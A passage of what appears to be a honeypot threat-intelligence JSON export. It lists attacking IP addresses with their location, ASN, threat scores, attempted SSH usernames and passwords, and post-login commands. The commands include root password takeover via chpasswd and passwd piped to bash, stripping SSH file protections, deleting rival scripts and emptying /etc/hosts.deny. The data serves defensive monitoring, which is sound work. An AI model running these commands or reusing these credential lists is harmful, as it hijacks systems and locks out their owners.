        "!qaz2wsx",
        "0000",
        "1",
        "11",
        "123456",
        "123456a",
        "Admin@123",
        "admin",
        "admin1234",
        "admin12345",
        "adminserver",
        "ali",
        "mysqlpass",
        "newftpuser123",
        "oracle2022",
        "oracleadmin",
        "password12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!qaz2wsx\\njpU8oZhHZWUJ\\njpU8oZhHZWUJ\\n\"|passwd",
        "echo \"test\\nWc6qGtdvdP5r\\nWc6qGtdvdP5r\\n\"|passwd",
        "echo -e \"!qaz2wsx\\njpU8oZhHZWUJ\\njpU8oZhHZWUJ\"|passwd|bash",
        "echo -e \"test\\nWc6qGtdvdP5r\\nWc6qGtdvdP5r\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ant\u00f4nio Dias",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:17:02.989000+00:00",
        "last_seen_30d": "2026-05-06T18:01:23.708000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 84
      }
    },
    "41.204.63.118": {
      "attack_count": 241,
      "first_seen": "2026-05-20T08:24:55.553Z",
      "last_seen": "2026-05-20T08:59:24.701Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "app",
        "botuser",
        "claude",
        "git",
        "hydra",
        "mysql",
        "surya",
        "syncthing",
        "umair",
        "yogesh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "13579",
        "1q2w3e4r",
        "2323",
        "8i9o0p-[",
        "Abc123456!",
        "Hs123456",
        "Zl123456789",
        "admin!@#123",
        "claude123",
        "demo123",
        "hydra",
        "linux@2024",
        "packer",
        "password",
        "r00tme",
        "root",
        "surya"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Oa4ROcU6IoeD\"|chpasswd|bash",
        "echo \"root:fZScZxkXI3l0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 29614,
      "as_org": "VODAFONE GHANA AS INTERNATIONAL TRANSIT",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:24:55.553000+00:00",
        "last_seen_30d": "2026-05-20T09:00:31.723000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 60
      }
    },
    "43.134.17.228": {
      "attack_count": 236,
      "first_seen": "2026-05-18T01:52:22.808Z",
      "last_seen": "2026-05-18T02:21:49.107Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx",
        "112358",
        "123!@#qweQWE",
        "1A2B3C4D",
        "2081",
        "amber1",
        "cactiuser",
        "chinayixun",
        "cms",
        "davedave",
        "hr@123",
        "hrb123",
        "nopass",
        "oracle",
        "p@ssword1!",
        "sac",
        "simon",
        "squid"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Cw7TolaetAtA\"|chpasswd|bash",
        "echo \"root:Pue5MJ1RbnmR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:52:22.808000+00:00",
        "last_seen_30d": "2026-05-18T02:22:59.172000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "62.173.38.229": {
      "attack_count": 236,
      "first_seen": "2026-05-13T10:22:28.513Z",
      "last_seen": "2026-05-13T10:59:08.549Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11121964",
        "1qaz2wsx#",
        "2029",
        "454545",
        "Qg123456",
        "devuser123",
        "firebird",
        "gorge",
        "isik",
        "level42",
        "mercury1",
        "poney",
        "porquinho",
        "qian",
        "qqq",
        "qwe123!@#",
        "rootrootroot",
        "saitoh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:oAvpuy5hgCeQ\"|chpasswd|bash",
        "echo \"root:zkeSpEl6ibl0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29091,
      "as_org": "IPNXng",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:22:28.513000+00:00",
        "last_seen_30d": "2026-05-13T11:00:11.084000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 56
      }
    },
    "185.62.56.208": {
      "attack_count": 231,
      "first_seen": "2026-05-24T17:49:29.426Z",
      "last_seen": "2026-05-24T18:47:10.752Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "newuser",
        "admin",
        "httpd",
        "iksi",
        "intel",
        "kubernetes",
        "mostafa",
        "myadmin",
        "oracle",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123asd,./",
        "123pls123A!",
        "22",
        "Dy123456",
        "Linux123",
        "Minecraft1",
        "Oracle11",
        "P@ssw0rd12345",
        "Welcome#1",
        "admin2025",
        "fjbdfdjkdsfs541544@@",
        "kubernetes@123",
        "myadmin",
        "root",
        "test1234",
        "testtesttest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cws0z4XsfIqL\"|chpasswd|bash",
        "echo \"root:tsruto3swpkY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 62370,
      "as_org": "Snel.com B.V.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:49:29.426000+00:00",
        "last_seen_30d": "2026-05-24T18:48:12.169000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 231,
        "Suricata": 56
      }
    },
    "43.112.65.147": {
      "attack_count": 218,
      "first_seen": "2026-05-28T23:32:02.547Z",
      "last_seen": "2026-05-28T23:56:26.878Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "frappe",
        "davide",
        "koha",
        "melo",
        "pp",
        "samuel",
        "server",
        "vncuser",
        "wordpress"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "2025.com",
        "Admin@123",
        "Password12@",
        "Password@123",
        "Welcome123@",
        "admin@pass",
        "davide",
        "fjbdfdjkdsfs541544",
        "koha@123",
        "melo",
        "pp",
        "root@123321",
        "samuel",
        "vncuser",
        "wordpress@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n81ZYHd8qwsRl\\n81ZYHd8qwsRl\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nNCLsCxI38zbh\\nNCLsCxI38zbh\\n\"|passwd",
        "echo -e \"123456\\n81ZYHd8qwsRl\\n81ZYHd8qwsRl\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nNCLsCxI38zbh\\nNCLsCxI38zbh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:32:02.547000+00:00",
        "last_seen_30d": "2026-05-28T23:57:30.823000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 45
      }
    },
    "193.228.128.91": {
      "attack_count": 212,
      "first_seen": "2026-05-30T11:50:28.286Z",
      "last_seen": "2026-05-30T12:16:35.828Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "vendas",
        "bitcoin",
        "def",
        "kyt",
        "long",
        "test02",
        "ts",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456aA",
        "1234qwer",
        "Qaz12345",
        "Qwe123321",
        "Ye123456",
        "asdf@123",
        "azsxdc123",
        "bitcoin",
        "kyt",
        "long",
        "qwe123!!!",
        "test02",
        "ts"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nq8ePLnvfisWR\\nq8ePLnvfisWR\\n\"|passwd",
        "echo \"root:Q5QdtgJ31HNX\"|chpasswd|bash",
        "echo -e \"123456\\nq8ePLnvfisWR\\nq8ePLnvfisWR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:50:28.286000+00:00",
        "last_seen_30d": "2026-05-30T12:17:39.713000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "190.111.138.200": {
      "attack_count": 192,
      "first_seen": "2026-05-19T06:40:44.641Z",
      "last_seen": "2026-05-19T18:01:29.212Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ji Paran\u00e1",
      "asn": 270554,
      "as_org": "M. M. SERVICOS DE INFORMATICA LTDA ME",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:40:44.641000+00:00",
        "last_seen_30d": "2026-05-19T18:02:37.768000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 98
      }
    },
    "43.130.29.69": {
      "attack_count": 173,
      "first_seen": "2026-05-18T20:58:12.932Z",
      "last_seen": "2026-05-18T21:23:53.477Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "108108108",
        "1234567!@#$%^&",
        "3245gs5662d34",
        "345gs5662d34",
        "963963",
        "Asd@123321",
        "P@$$WORD2018",
        "P@55word",
        "Pass@12345",
        "Qwer!234",
        "adam",
        "bav123",
        "centos8svm",
        "claude",
        "emily",
        "ethereum",
        "felix",
        "matrix2004",
        "netgear1",
        "not4you"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3syQ8Lfm9zzw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T20:58:12.932000+00:00",
        "last_seen_30d": "2026-05-18T21:24:59.021000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "102.129.200.101": {
      "attack_count": 168,
      "first_seen": "2026-05-08T04:44:36.561Z",
      "last_seen": "2026-05-29T18:17:58.307Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 208949,
      "as_org": "Hbing Limited",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:44:36.561000+00:00",
        "last_seen_30d": "2026-05-29T18:19:02.465000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 84
      }
    },
    "187.1.163.176": {
      "attack_count": 152,
      "first_seen": "2026-05-22T10:13:00.146Z",
      "last_seen": "2026-05-22T20:04:40.130Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 28252,
      "as_org": "WorldNet Telecom Comercio e Servicos de Telecomuni",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:13:00.146000+00:00",
        "last_seen_30d": "2026-05-22T20:05:48.243000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 78
      }
    },
    "5.255.126.29": {
      "attack_count": 144,
      "first_seen": "2026-05-24T10:50:41.742Z",
      "last_seen": "2026-05-24T11:35:50.565Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "diego",
        "345gs5662d34",
        "edward",
        "indico",
        "myuser",
        "server"
      ],
      "passwords_attempted": [
        "......",
        "12345",
        "123456789root",
        "123P@ssw0rd",
        "123QWEasd",
        "1Q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "A@12345",
        "P@55w0rd!",
        "Wr123456",
        "armin123",
        "diego123",
        "edward12345",
        "indico",
        "john",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"diego123\\n78rhq8zuG1WN\\n78rhq8zuG1WN\\n\"|passwd",
        "echo -e \"diego123\\n78rhq8zuG1WN\\n78rhq8zuG1WN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:50:41.742000+00:00",
        "last_seen_30d": "2026-05-24T11:36:56.690000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "107.172.88.206": {
      "attack_count": 126,
      "first_seen": "2026-05-08T16:24:57.558Z",
      "last_seen": "2026-05-31T06:26:31.752Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:24:57.558000+00:00",
        "last_seen_30d": "2026-05-31T06:27:33.137000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "72.56.80.116": {
      "attack_count": 118,
      "first_seen": "2026-05-31T02:21:25.810Z",
      "last_seen": "2026-05-31T02:50:42.935Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kodi",
        "prod",
        "proxyuser",
        "sunil",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa4226391.",
        "Test123!",
        "Ww123456",
        "Zz123456.",
        "kodi",
        "proxyuser",
        "root",
        "sunil123",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:opgEozZr8QYs\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
